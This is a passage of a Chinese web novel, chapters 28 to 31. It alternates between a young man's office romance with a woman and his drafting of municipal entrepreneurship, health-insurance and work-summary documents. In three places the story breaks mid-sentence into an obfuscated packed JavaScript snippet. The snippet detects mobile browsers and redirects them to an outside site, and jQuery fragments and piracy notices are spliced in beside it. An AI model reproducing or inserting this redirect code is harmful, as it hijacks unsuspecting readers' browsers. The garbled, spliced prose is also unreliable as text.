这小伙儿下午在单位上上班，单位在县城西北角的城乡结合部，单位四层的一幢办公大楼，坐落在大院的中央，大楼北面依墙建设有一排平顶房，中间是单位食堂的厨房和餐厅三间，两边是单位储藏室，大院南边是由原来县农技中心化验室改造而成的三幢两流水平房，每幢平房四间，住了三四户人家，属于单位职工住宿家属区。大院南北相连着县属同局的两个单位，南有县畜牧兽医工作站，北有一墙相连的县农工商公司，大院西有一墙之隔的是县良种繁殖场农田，东面大院前有大门和铁栅栏围墙，铁栅栏大门外是一条南北向的通往乡村外的县际公路，公路往东，南北都是一大片的农田。 单位大院南连路旁边的县畜牧兽医工作站，是一个平房的两流水房的大院子，再往南一墙之隔是县种子公司的一个大院，北两面两流水大仓库，储备各类农作物种子，西边是两流水的大车库，东面沿公路的平房是种子门市部，这门市部后面是一幢四层的种子公司办公大楼。公路斜对面的农田中，有县气象站。 单位大院南面和北面，其间，都有省物资储备库分站，县第二中学，县食品厂，县物资局木材厂，饲料加工厂，县试验林厂，县电力提灌工程指挥部等许多单位、工厂、学校，和大片的农田园林等，不规则地与农户杂居其中。远处东面的农田中，有一条贯通南北的铁路线。这小伙儿从自己单位进县城中心，去找这美女的县城里的家，或这美女上班的门市部，都要穿越这条铁路，公路和铁路相交处有一值班道口，一间风车房一样的小值班房，铁道两边各有一自动升降的闸栏杆。 “铛铛铛！”有轻轻的敲门声，这小伙儿正在三楼的一间办公室里，坐着写材料，办公室里虽然一并摆着两个办公桌，但其实就只有他一个人在上班，这房间里只有他一人。同室的另外一名同事，下乡不在，来了也不上单位办公室来，因为其刚结婚成家了，上班时多都也待在家中。 这小伙很爱美，有艺术细胞。把单位过国庆节，或者是同室小伙儿结婚时，用来剪纸彩带纸花，或双喜字的下脚料，尖头，方头，有细有粗，有长有短，有疏有密，闪烁着五光十色的彩纸串，筛选剪上一段，贴在窗台上中间的一块玻璃窗上，这小伙儿自我感觉良好。好像一坐城市的高低大小不同的工厂烟囱，或是高低粗细不同的一片大楼，再或者二者间而有之，这小伙儿早心里起发了作品的名字，叫“城市之光”！ 28. 第 28 章 第二十八章全民创业 “请进！请进！”这小伙儿转头望一眼，西墙上大大的玻璃窗户，从这里照进室内的光线充足，室内的白色墙壁相映，显得房间里非常明亮。这小伙儿走过去，拧锁把手，一拉开这办公室门，一看，马上就无比喜悦地往一旁让开进门的路，一抬右臂伸直，展掌向上，平举这么一扫，对着门外惊喜万状地这样说道。 这小伙儿惊喜的是，没有想到这美女晚天晚上说了，当是玩笑之谈，果然是今天真来了，到这小伙儿单位核实一下有关情况，看这小伙儿说得的上班单位，他都没有做任何的准备，真实的一面暴露无遗了。 这小伙儿心里也有些小小的不愉快的是，这美女竟然领着她的大妹妹一齐来的，看来是今天他和这美女的好事儿弄不成了，不要说亲上个嘴了，深情一吻，相拥相抱一下，就连拉个手恐怕也是不方便的了。这小伙儿的准大小姨子，这个未来的小姨子，这美女的大妹子，不但对他到她们家里蹭饭多有反对，在表情甚至在言语上，让他难堪，这次又做了她姐姐自带的纪检监察机关，真正成了这美女的小小保护神！而不是电灯泡。 这小伙儿对她，这美女的大妹子，也早心有结蒂，那是不言而语的事。 这小伙儿一本正经，面对这美女姐妹两个，一大一小的不知道要说些什么，东拉西扯，就胡乱聊天，东一榔头，西一棒槌，闲扯瞎谝。 这美女和这小伙儿有一搭没一搭地这样交谈。“今天的天气不错啊！”“是啊，天特别蓝，云特别的白！”“小达，你们单位的环境不挺好的！”“就是，东西两边都能看到庄稼地，有风景，还安静！” “我去上个厕所，在那？”这美女的大妹子身材瘦小，这时面露难色，对这小伙儿心急火燎地这样说道。水火无情，人到这时都会顾不了那么多的。这美女只是看着这小伙儿，坐着没有动身。 “楼梯上来右手，靠右边第二个门是女厕所。”这小伙儿赶紧起身，走出办公桌椅间，开门领着这美女的大妹子，走到楼梯口时，停下来，给继续往前走的这美女的大妹了，伸手一指又这样说道，“楼梯口第一个门是水房和男厕所，过去一个门就是”。 这小伙儿站着，看这美女的大妹子揿开门帘布，准确无误地进了女厕所门，他才转身往回走，推开门进了自己的办公室里。 这小伙儿心里想，今天太阳搭西边出来了，难道是这美女的大妹子给自己和她姐姐给个机会，故意去上厕所，给他和他姐姐留出一个私密空间的机会。 “哐铛！”这小伙儿灵机一动，看机会来了，不能错过，抓紧行动，就赶紧返身把门关上，走过去坐回自己的办公桌椅间，眼睛盯着这美女继续开始聊天，不是谈恋爱，送上门来的谈情说爱，难得，可要把握好。 “佳，我喜欢你！真的，越来喜欢你了！”这小伙儿深情地望着这美女，含情脉脉地这们说道。一个房间里，有两个人，一对青年男女，隔着一张办公桌坐着，四目相对。 “小达，真得吗，你说得是不是心里话？”这美女似有所疑问，定定地望着对面坐着的人儿，长眉细眼盯着这小伙儿，这样反问这房间的主人道。 “佳，真得我爱你，越来越爱你了！”这小伙儿来不及赌咒发誓，就对这美女这样说道。其实说真的，人是感情动物，还是感情高级灵长类动物，日久生情，他和她谈恋爱，从初识到现在，说心里话，真得是越来越喜欢这美女了。 “我怎么没有感觉到呢？！”这美女长眉一挑，细眼一瞪，假装没有感受到这小伙儿的爱意，对面前的男青年这样打情骂俏地反问道。 “吧！”这小伙儿突然猛一起身，前倾弯曲着上身，头这么一转，轻轻一个吻就剁到了这美女的右脸颊正中央处，立即他抽回身体，一屁股又了坐到回来，坐回到原来他坐着的办公桌后面的椅子上去了。面不改色心不跳，好像刚才他那一偷偷吻，迅速而准确的吻，没有发后过一样，似与他与关一般装着没事人一样的。其实这是这小伙儿以实际行动在回答这美女，他爱她！ 本文正在晋江文学城免费连载中，作者更新不易，请支持正版！！！ “……”这美女毫无防备，几无心理准备，被这突兀其来的一吻，震惊得她脸色突然变得特别地阴沉，慌忙起身，脸上顿时飞红，横眉冷对，狠狠剜了一眼这小伙儿，好像在骂这小伙儿“你好坏啊”。赶紧抬起自己的右臂，用右手背，下意识地擦了一下刚刚被这小伙儿吻过的那块地方，自己右脸颊中央的某个部位。 “哐铛！”一声，这办公室的门被人拧开锁，推开门进来一个人，不是别人，正是上厕所回来的这美女的大妹子。看着面前这对青年男女，好像什么地方不对劲了，是都有点不自在的样子，就是猜不出问题出在什么地方。眼珠子滴溜溜转着，感觉很疑惑的样子。 这美女的大妹子，只听两个大青年男女的说话，并不发言，而是转身爬在窗台上，注意力转移了，露出些奇怪的目光，瞪着窗户下面中间的一块玻璃出神儿。两个大一些的年轻男女只顾宣观，不再操心这美女的大妹子。 “吱吱吱！”这美女的大妹子，晃动着瘦小的身子，在这了孔玻璃窗前，抬胳膊举手的，不知在行什么瞎，做什么糗事儿，只听这样响动了几下。 “别动，再不要撕扯了！谁让你这么干的？！”这小伙儿转头细瞧时，发现窗户下面中间的“城市之光”的艺术剪纸贴花的图案，已残缺不全了，不知什么时候被这手脚麻利的女孩子，这美女领来的她大妹子，给撕扯掉去了少一半。这小伙儿当时就发急了，非常愤怒盯着这个女孩子，声色具厉，站起身来大声这样呵斥道。 “撕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136237|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就撕了，没关系！那不就是剪彩花彩带的下脚料吗！”这美女一看，这小伙儿怎么和自己的大妹子给顶上了，就赶紧站出来，给自己的大妹子解围，及时抡起了偏刃斧，拉起了大偏架，瞪着长眉细眼，又是安慰，又是辩解，对这小伙儿这样说道。 “啊……就是……没事……没事的。”这小伙我感觉自己刚才恼羞成怒，中无遮拦，语出伤人，确实有些失态，自知刚才真是有些过于严厉，有点惊吓坏了这美女的大妹子了，又后悔，又心虚，就赶紧坐回到自己的椅子上去，连忙接着这美女的话茬儿，立即这样结结巴巴地改撤道。 “时间不早了，我们也该回去了，上来的路也有一段距离呢。”场面确实有些尴尬，这美女灵机一动，借坡下驴，有台阶就下，不知什么时候已起身立在椅子后面，看一眼这小伙儿，抬起一只手从她大妹子肩膀上一拉扯，对其大妹子这样说道，其实也是在说给这小伙儿听，她们姐妹两个人不待了，要走了。 …… “……最近，国家和省市都非常重视全民创业工作，这项工作炙手可热，我们研究室要增强调查研究的敏锐性，提升决策服务的时效性，我们成立个课题小组，开展相关工作，达处长你负责，起草个关于我市全民创业的意见建议……”过几天上班时间在单位上，金学盛突然打来一个电话，把达恩豪从经济发展研究处叫到了主任办公室里，又是讲形势，又是提要求，最终目的是给他安排布置一个工作任务，对他严肃认真地这样说道。 “好的，金主任。”达恩豪赶紧这样回答道。历来都是每项工作几乎达恩豪一个人干，或主要由他干，除了领导还能修改审定材料外，其他人都帮不了多大的忙，敲个边鼓，摇旗呐喊一下，顶多就是挂个名。 达恩豪回到经济发展研究处，坐回到自己的办公桌椅间，忙碌起来。任务像不断线的风筝，材料永远没有放空的时候，工作永远是马拉松，战线太长，一辈子干不完的活儿，干完了，又来了，没干完，也又来了，一直都不得消闲。 又是查资料，搜网页，下载参考文章，打电话向有关单位求助要情况，要数据，研究分析，思考编写，修修改改，经过多少天的苦干，多少次的加班加点，耗费了多少亿的脑细胞，熬了多少心血，一篇材料终于在达恩豪手里诞生了。 这份《关于扶持全民创业的若干政策意见》，交给金学盛主任修改审定，没有提出什么大的修改意见，一次性就通过了。虽然非常的劳累，但算不了什么，能为300多万滨河人民干点力所能及的事情，一切的付出和代价都是值得的，这时，达恩豪心里非常高兴，充满了大大的成就感，满足感，还有自豪感。 这个滨河市《关于扶持全民创业的若干政策意见》材料，共包括五大部分25条工作措施，写了9页5500多字。大意是这样的： 29. 第 29 章 第二十九章考察报告 “关于扶持全民创业的若干政策意见 为充分调动全民创业的积极性，加快我市“十一五”跨越式发展，结合我市实际，现就贯彻落实省政府关于扶持全民创业的通知精神，以及市委、市政府“创业实干打硬仗，建设创业型城市”的指导思想，促进全民创业提出如下意见。 一、致力改善创业环境 （一）以政策激励创业…… （二）以服务促进创业…… （三）以法治保障创业…… （四）以诚信共同创业…… （五）以人才保证创业…… （六）以效能促进创业…… （七）以规范执法保障创业…… （八）以解放思想宣传发动创业…… 二、拓展全民创业空间 （九）拓展投资创业领域…… （十）放宽工商管理登记，简化办事程序…… （十一）再造审批流程…… 三、培育全民创业主体 （十二）鼓励下岗失业人员创业…… （十三）鼓励农民创业…… （十四）鼓励外出经商务工人员返乡创业…… （十五）鼓励高校毕业生自主创业…… （十六）鼓励转业退役军人自主创业…… （十七）鼓励民营企业扩张创业…… （十八）支持个体业主二次创业…… （十九）帮扶残疾人自立创业…… 四、完善创业扶持体系 （二十）加大金融支持力度…… （二十一）加大财政引导和扶持力度…… （二十二）增加政府对创业培训的投入…… （二十三）建立创业项目资源库…… 五、加强领导，确保全民创业取得实效 （二十四）建立机构，加强领导…… （二十五）落实责任，严格奖罚……” 《滨河市城镇居民医疗保险试点及配套改革工作赴外考察报告》，这个材料包括3个大部分，共写了19页1万多字。其具体内容如下： “滨河市城镇居民医疗保险试点及配套改革工作赴外考察报告 为切实做好我市城镇居民基本医疗保险试点及配套改革工作，2007年10月10日至10月21日，市政府研究室副主任牛嘉成同志带领一行4人的学习考察组，赴苏镇市、江抚市、建厦市、广梅市进行学习考察，重点考察了4地开展城镇居民基本医疗保险试点及配套改革工作的主要做法和先进经验，感触颇深，收获不少。现将具体情况报告如下： 一、基本情况 （一）苏镇市…… （二）江抚市…… （三）建厦市…… （四）广梅市…… 二、做法与经验 （一）医疗保险体制改革 1、城乡居民统筹考虑…… 2、完善医保政策体系。一是自由参退保政策……二是险种相互转换政策……三是外来人口及其子女参保政策…… 本文正在晋江文学城免费连载中，作者更新不易，请支持正版！！！ 3、提高医保覆盖率。在提高覆盖率方面，4地做法基本相同。一是注重政府推动……二是注重政策引导……三是注重协作联动……四是注重舆论宣传…… 4、加强经办管理建设…… 5、构建社区服务平台…… 6、引导居民社区就诊…… 7、加强信息网络建设…… （二）医疗卫生体制改革 1、合理配置卫生资源……一是把重点放在对二级以下医疗保健机构的转型上，把部分市属公立二级医院、区属公立医院、区妇幼保健机构纳入社区卫生服务体系建设。同时，积极引入社会力量参与举办社区卫生服务机构，构建包括乡镇、街道社区卫生服务中心、服务站在内的社区卫生服务网络。二是积极创造条件组建医院集团…… 2、积极落实经费保障政策…… 3、定点机构专家评审…… 4、创新医疗服务体制…… 5、改革医院运行机制…… 6、控制和降低医药费用…… 7、增强社区服务能力…… 8、改进行业作风…… （三）药品生产流通体制改革 1、深化药品企业改革…… 2、严格实行准入制度…… 3、改革药品流通方式…… 4、控制和降低药品价格…… 5、大力整顿药品市场…… 三、启示与建议 （一）在医疗保险体制改革方面 一是要健全医保政策体系……二是要加快经办管理建设……三是要建立服务人群和业务量挂钩的经费保障机制，建立医疗保险管理服务奖惩机制。四是要科学合理设置参保、缴费、就医、支付等业务的工作流程和操作规范，实现医疗保障经办机构和定点医疗机构的直接结算。五是要拓展和完善医疗保障计算机信息管理系统，逐步实现城镇居民基本医疗保险信息化管理。 （二）在医疗卫生体制改革方面 一是要改革卫生资源的配置和调控……二是要改革城市医疗服务体系……三是要改革医疗机构管理制度。四是要改革医院运行机制……五是要改革医院药品管理制度……六是要改革卫生事业经费补助办法……七是要改革医疗服务价格和药品价格……八是要加强行业作风建设…… （三）在药品生产流通体制改革方面 一是要规范药品生产经营……二是要调整药品产业结构……三是要加大市场开放力度……四是要推行现代经营方式……五是要开展集中招标采购……六是要推进药品分类管理……七是要加强药品价格监管……八是要深入开展专项整治…… 二OO七年十一月二日” …… 达恩豪下午下班，回家吃过晚饭，追完了两集电视，上床睡觉了，写材料用脑过度，脑疲劳带睡眠，马上就进入了梦乡之中…… 这小伙儿送走了这美女和她大妹子，在单位上心不在焉地继续上班，好不容易等到晚上下班，立即下楼，骑上自行车，就从单位大门出来，右拐沿路向南而行，再向东拐而行，穿过铁路道口，下坡，右拐向南，过三桥进县城。 自行车拐进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149622|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主街道，路东面一个公司大院，公司铁栅栏大门敞开着，这小伙儿停好自行车，上了车锁，钥匙装进上衣兜里，直奔这大院西北角的平房而去。 “小达，来了！到套间里先坐一下，饭马上就好了。”这美女正在外间的炉子上做饭，听有人掀起门帘，看见有人推开这房间的南门，进来一个年轻男人，不是别人，正是和她谈恋爱的这小伙儿，面带微笑，就热情地对刚进门的人这样招呼道。 “……”这美女的大妹子，转头，剜了一眼从外间屋中央进套间的这小伙儿，留下一个翻白眼，瘦小的身子继续忙来忙去，正在去捞水里漂的白菜，放到小案板上切菜，再去找盐，拿醋瓶，往碟里的凉菜上放调料，搅拌凉菜的。 “……”这小伙儿想给这美女的大妹子道个歉，可又张不开嘴，有心无力，只是“煮熟的鸭子—嘴硬”。他低着个头，不好意思地走向西边的套间，挑起门帘，推门进了里面的套间里。 “小达，走啊，出去吃饭了。”不一会，饭菜都做好了，这美女进里间，喊这小伙儿到外间吃饭。 这小伙儿别别扭扭地吃了两碗面条，搁下碗筷，心照不宣地跟着这美女，出了这个套间外间的南门。 外面天已黑了，一对年轻男女，这时一前一后，紧跟着，借着天色的亮光和房间里散射出的微弱的灯光，沿着房前的高台阶，往西行走，向隔壁的“副经理室”那个房间去了。 “小达，你真坏！”这美女开门，放进鱼贯而入的这小伙儿，把她父亲这间办公室的门，“哐铛！”反手一关，就兴师问罪般这样对这青年男人的些生气地说道。 “你让做的，这就是爱得深的表现！”这小伙儿想起了今天白天的事儿，他乘机强吻了她，不，是偷吻了她，也不对，是叼吻了她，也不对……反正惹得这美女有点不高兴了，自己却很满足，悄悄乐，民间不是就有“妻不如妾，妾不如偷”的说法吗，就很得意地对这美女顽皮地这样回答道。 “不是虚情假意，也是油-腔-滑-调！不，油-嘴-滑-舌！”这美女其实心里感觉很幸福，但还是口是心非，故作正经，假装矜持，不依不挠，长眉一挑，细眼一睁，眼盯着这小伙儿这样半撒娇半嗔怒道。 虽然，这小伙儿的白天强吻惹得这美女有些不高兴，而且也把这美女的大妹子也给得罪的不轻，但这美女也没有真正责怪这小伙儿的意思，在两个人的打情骂俏中，就这样轻松给化解了。 这小伙开始活跃起来了，故伎重演，手到擒来，情不自禁，就向这美女靠了过去，粘了上去，像个糨糊，不，像个强力胶水一样，见东西就粘贴。 这美女其实也不再那么矜持，半推半就，睁一只眼，闭一只眼，对这小伙儿的拉手，拥抱，是那样的无力反抗，那样的暧昧地配合，那样乖乖地服从，那样心安理得地接受了。 人性在爱情中的表现，得到了淋漓尽致地发挥。你越是忍让，他越是嚣张跋扈，你越是强硬，他越是害怕。像弹簧一样，你弱他就强，你强他就弱。 这美女的退让，一再的顺从，防线被一再的攻破，底线一再地被突破。同时，使得这小伙儿更加地有进攻性，像得了鼓励一样，更加地嚣张起来，更加地肆无忌惮起来了。 30. 第 30 章 第三十章医保改革 这小伙儿抱着这美女，两个人相拥而坐在长条椅上，难道说这长条椅子成了古代的春凳了。一对春心动荡的青年男女，就坐在这上面，多情地支撑着他们，幸福地支撑着两人，久久相拥，久久相抱，久久相粘贴，像欠了八辈子的分离，像欠了八辈子的相别，像欠了八辈子的相思，像欠了八辈子的相盼，一刻也不能耽搁，把彼此紧紧地拥抱！ 这小伙儿甜蜜地闭上了双眼，两只手幸福地行动了起来，在这美女的后背上轻轻地摩擦着，一手从右边摩擦到左边，另一手从左边摩擦到右边，每根指头的指腹麻酥酥的，手掌也是麻酥酥的，像电流一样传遍全身，传递到年轻悸动的心脏…… “……”这小伙儿甜蜜而幸福的触摸，深情而陶醉的爱抚，好像是魔法师的咒语一般灵验，这美女紧团了双眼，脸上泛起红霞一片，忘情地享受这甜蜜时光，忘情地感觉这幸福体验，情不自禁地身躯微微颤抖，发出了若有若无的微弱的呻吟声，春心荡漾，几乎不能把持。 “哐哐哐！”…… …… “我看了你们这次四城市调研考察报告的情况，我们前段时间起草修改好的医保配套改革的那个方案，确实有必要再修改完善提高一下，把他们的好经验好作法好措施等，结合我们滨河市的实际，再充分地借鉴和参考吸纳，请牛主任行把一关，达处长你主笔，带着佟若贤和强晓宁协助，再拿一稿……”第二天上午，单位上班时间，达恩豪等四个课题组成员组成的调研小组，赴外省四城市调研回来，刚把医保配套改革这个课题的《学习考察报告》弄完了，金学盛就安排达恩豪把课题组成员，全部召集到主任办公室，召开专题会议，金学盛主持会议时这样对在坐的大家这样说道。 达恩豪散会后，回到自己的经济发展研究处房间，坐到自己的办公桌椅间，立即爬到电脑前弄材料。谁也指望不上，新来的年轻同志不放心，还是自己搞，求人不如求自己。 “噼哩啪啦！”达恩豪集中精力，加班加点，闭门谢客，把这个课题调研组的《学习考察报告》翻来翻，页脚边都翻卷巴了，忙碌了几天，终于把新的《滨河市医保配套改革实施方案》给整出来了，先给课题组两个青年人看，没有提出修改意见，再交给牛嘉成副主任给，修改了个格式和标点符号，基本没有修改意见，最后交给金学盛主任，也一次性过关。 这个新《实施方案》与前面写的《实施方案》篇幅增加了5页4000多字，内容也作了大最的补充修改，由六大部分压缩为4大部分，归纳为32条具体措施，共写了24页约1.3万多字，的主要内容如下： “滨河市城镇居民基本医疗保险制度配套改革实施方案 （征求意见稿） 为了贯彻落实《国府院关于开展城镇居民基本医疗保险试点的指导意见》（府发〔2007〕20号）精神，切实做好我市城镇居民基本医疗保险制度配套改革工作，结合我市实际，借鉴外地经验，制定本实施方案。 一、指导思想和目标原则 （一）指导思想…… （二）总体目标…… （三）基本原则…… 二、进一步深化医疗卫生体制改革 （四）改革卫生资源配置与调控…… （五）改革城市医疗卫生服务体系…… （六）改革医疗机构管理制度…… （七）改革医院运行机制…… （八）改革卫生事业经费补助办法…… （九）改革医疗服务价格…… （十）加□□生行业作风建设…… 三、进一步深化药品生产流通体制改革 （十一）推行生产经营规范，确保药品供应质量…… （十二）调整药品产业结构，形成特色优势产业…… （十三）加大市场开放力度，开展公平有序竞争…… （十四）推行现代经营方式，促进集约规模经营…… （十五）开展集中招标采购，规范药品购销行为…… （十六）推进药品分类管理，保证群众科学用药…… （十七）实行医药分开核算，实现医药分别管理…… （十八）完善药品管理办法，加强药品价格监管…… （十九）深入开展专项整治，确保群众用药安全…… （二十）强化药品广告监管，维护群众根本利益…… （二十一）切实转变政府职能，不断优化医保服务环境…… 本文正在晋江文学城免费连载中，作者更新不易，请支持正版！！！ 四、进一步深化医疗保障体制改革 （二十二）加大投入力度，支持医疗保障经办管理机构建设…… （二十三）建立服务人群和业务量挂钩的经费保障机制，建立医疗保险管理服务奖惩机制…… （二十四）科学设置参保、缴费、就医、支付等业务流程，实现医疗保障经办机构和定点医疗机构的直接结算…… （二十五）严格审批医保定点医疗机构和定点零售药店，确保定点机构为参保居民提供满意服务…… （二十六）整合现有医保管理资源，加快建设统一高效服务平台…… （二十七）明确社会保障体系难点重点所在，切实解决困难特殊群体基本医疗保障问题…… （二十八）探索制定流动人口在不同地区和不同医保制度之间保险关系转移接续办法…… （二十九）深化乡镇卫生院和村卫生站（所）服务管理体制改革，进一步完善农村医疗卫生服务体系…… (三十)不断加强经办能力建设，确保新型农村合作医疗保障制度顺利实施…… （三十一）积极推进大额医疗附加保险和商业医疗补充保险，建立健全基本医疗救助体系…… （三十二）加快医疗保障立法建设，为推行医疗保障制度提供法律保证…… 二○○七年十一月二十二日” 过了两天，单位办公室发下通知，要求各处室务必尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157643|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上报今年的工作总结，一形式四份纸质版，连同电子版，本周星期五下午五点前上报。达恩豪一算，今天星期三，还有两半多时间了，时间并不宽裕，何况老实人每次都是提前上报，就赶紧上电脑打开自己的电子文档，细细盘点了一番，又是一个大丰收的年成，估摸着，肯定又是全单位干得最多最好的一个。 达恩豪忙乎了一天多，处里工作总结就写出来了，名义是全处的工作，实际上也是他个人的一年来的工作总结，老处长马上要退休了，经常不来单位，不上班了，新来的人员还得传帮带，指望不上，老主任科员杨尚文倚老卖老，又有糖尿病，倚病卖老，进步无望，不求上进，在家办场子养猪，也经常不到单位来，开会和单位喊叫时来一下，时间长了，一人月两个月的，买上一大包西药，提上办公室里转一圈，聊上几句天就跑没影了。 上半年经济发展研究处的工作总结，主要内容如下： “经济处2007年工作总结及下年度工作计划 我处今年以来，按照本中心的工作要点，严格履行岗位职责，努力学习，扎实工作，全面出色的完成了组织分配的各项工作任务，现将主要工作总结如下： 一、参加全省艾滋病防治政策咨询研究有奖征文活动，调研撰写的《滨河市艾滋病防治对策初探》论文，荣获三等奖。 二、调研起草的《滨河市政府关于解决农民工问题的实施意见》，提出了九大措施共四十三条，被市委、市政府基本采纳应用。 三、调研撰写的《关于解决我市农民工问题的若干思考》，在滨河市政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅。 四、参加省政府参事室平安社区的调研活动，调研编写完成了《关于滨河市创建平安社区的调研报告》，起草了《滨河市政府办公厅关于开展平安社区调研的通知》，完成了本调研活动的联络和组织协调工作。 五、开展《滨河市平安社区建设的调查研究》课题，参加市软科学课题审报列项工作，年内验收完成。 六、调研起草了市政府主要领导向国府院和省上主要领导的《关于建设滨河出口加工区的汇报》材料。 七、调研起草了《关于加快滨河现代服务业发展，实施 “6666”创业工程的意见》，在滨河市政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅，得到了市上领导的交口称赞。 八、参加新亚欧大路桥区域经济合作国际研讨会材料组的工作，起草完成了市政府领导《在联合国2007新丝绸之路城市文化周开幕式上的致辞》。 九、开展我市城镇居民基本医疗保险配套改革调研工作，赴外学习考察，起草完成了《滨河市城镇居民基本医疗保障配套改革实施方案》。 十、参加省政府全民创业情况的调研，起草和向省政府研究室上报了滨河市《关于扶持全民创业的若干政策意见》，结合我市的实际，提出了五个方面25条扶持全民创业政策措施意见和建议。 31. 第 31 章 第三十一章名落孙山 十一、调研起草了《加快引河入北大川灌区综合开发步伐的若干思考》，在滨河市政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅，得到了市上领导的交口称赞。 十二、参加全市选调生的招考工作，为本单位选拔了四名工作人员等。 2008年的工作计划： 一、开展《滨河市全民创业的研究》课题的审报和深入调研工作。 二、开展《优化空港循环经济产业功能研究》。 三、搞好全市半年及年度经济运行分析。 四、积极为全市经济社会发展服务，提出两条以上有价值的对策建议。 五、完成单位交办的其它各项工作任务。 滨河市政府研究室经济处 二○○七年十一月八日” …… 这是晚饭过后的夜间，在这个公司大院里的北面一排平房，靠西北角的亮灯的一间屋，挂着“副经理室”的房间里，有一对热恋中的青年男女，吃过了晚饭，钻到这里，开始了新一天的卿卿我我…… 两个异性年轻人，相互拥抱着，这个小伙儿的左边的脸颊，贴着这个美女左边的脸颊，脸颊与脸颊轻轻地摩擦着，两张飞红的脸颊摩擦着，无比幸福的摩擦，热热的摩擦，多么甜蜜的摩擦！ 耳朵与耳朵微微地摩擦，无比幸福的摩擦，热热的摩擦，多么甜蜜的摩擦！ 头发与头发悄悄地摩擦，无比幸福的摩擦，十分紧张的摩擦，多么甜蜜的摩擦！ “……”这美女紧闭上一双美丽的长眉细眼，好像贵妃醉酒一样，发出若有若无的呻吟声音，身子轻绵绵的，像面条一样，躯体轻飘飘的，好陶醉，沉醉的好无力！ “……”这小伙儿微微闭上一对好看的双眼皮小圆睛，也好像喝醉了酒一样，也发出若有若无的呻吟声音，身上似电流穿过一般，微微地颤抖着，尽情体验着这一切！ 这样一对青年男女，相拥相抱着，这美女的右边的脸蛋儿，贴着这个小伙儿右边的脸蛋儿，脸蛋儿与脸蛋儿轻轻地摩擦着，两张涨红的脸蛋儿摩擦着，无比幸福的摩擦，热热的摩擦，多么甜蜜的摩擦！ 耳朵与耳朵微微地摩擦，无比兴奋的摩擦，痒痒的摩擦，多么激动的摩擦！ 头发与头发悄悄地摩擦，无比兴奋的摩擦，特别愉悦的摩擦，多么激动的摩擦！ “……”这美女紧闭上一双美丽的长眉细眼，好像贵妃醉酒一样，发出若有若无的呻吟声音，身子轻绵绵的，像面条一样，躯体轻飘飘的，好陶醉，沉醉的好无力！ “……”这小伙儿微微闭上一对好看的双眼皮小圆睛，也好像喝醉了酒一样，也发出若有若无的呻吟声音，身上似电流穿过一般，微微地颤抖着，尽情体验着这一切！ 这样一对青年男女，在摩擦中碰出了爱的火花，点燃起两个人爱情的熊熊烈焰，形成越来越炽热的幸福甜蜜的燎原烈火。 幸福在这青年异性间的摩擦中升温，甜蜜在这青年异性间的摩擦中变得越来越浓烈，愈来愈芬芳，越来越醇厚！ 物理学有常识人，摩擦能产生火花，摩擦也能产生电流，在爱情中深刻地得到了印证，在摩擦中一双年轻异性的心，在迅速地靠近！ 幸福和甜蜜来的快，去得也快！来的容易，去得也容易！ 好景不长，幸福和甜蜜，温馨的时刻总是短暂！ “哐哐哐！”…… …… “……下面请经济处达恩豪同志进行述职汇报，城市处巴其平同志作好准备……”过几天，单位办公室通知，召开2007年度工作总评会，在两间的大会议室里，滨河市政府研究室的干部职工都基本到齐了，金学盛主任坐在上间的主席位上，主持会议，这时，看一眼斜对面的达恩豪，转头扫一眼全会场，这样对大家严肃认真地说道。 达恩豪脸上有点热，耳朵根有点烧，赶紧下意识把身子往正里一摆，一本正经地拿着早准备好的一份稿子，从金主任开始从中到左，从中往右，扫视了一圈与会的同事们，低头“吭”一声清了清嗓子，开始发言了，要作本处室一年工作的述职报告： “今年以来，在我室的正确领导和大家配合帮助下，自己严格履行岗位职责，努力学习，扎实工作，保质保量完成了本处承担的全年的各项工作任务，达到预期目标。现对一年来的工作予以述职，并将有关情况总结汇报如下： 一、主要工作 （一）参加全省艾滋病防治政策咨询研究有奖征文活动。 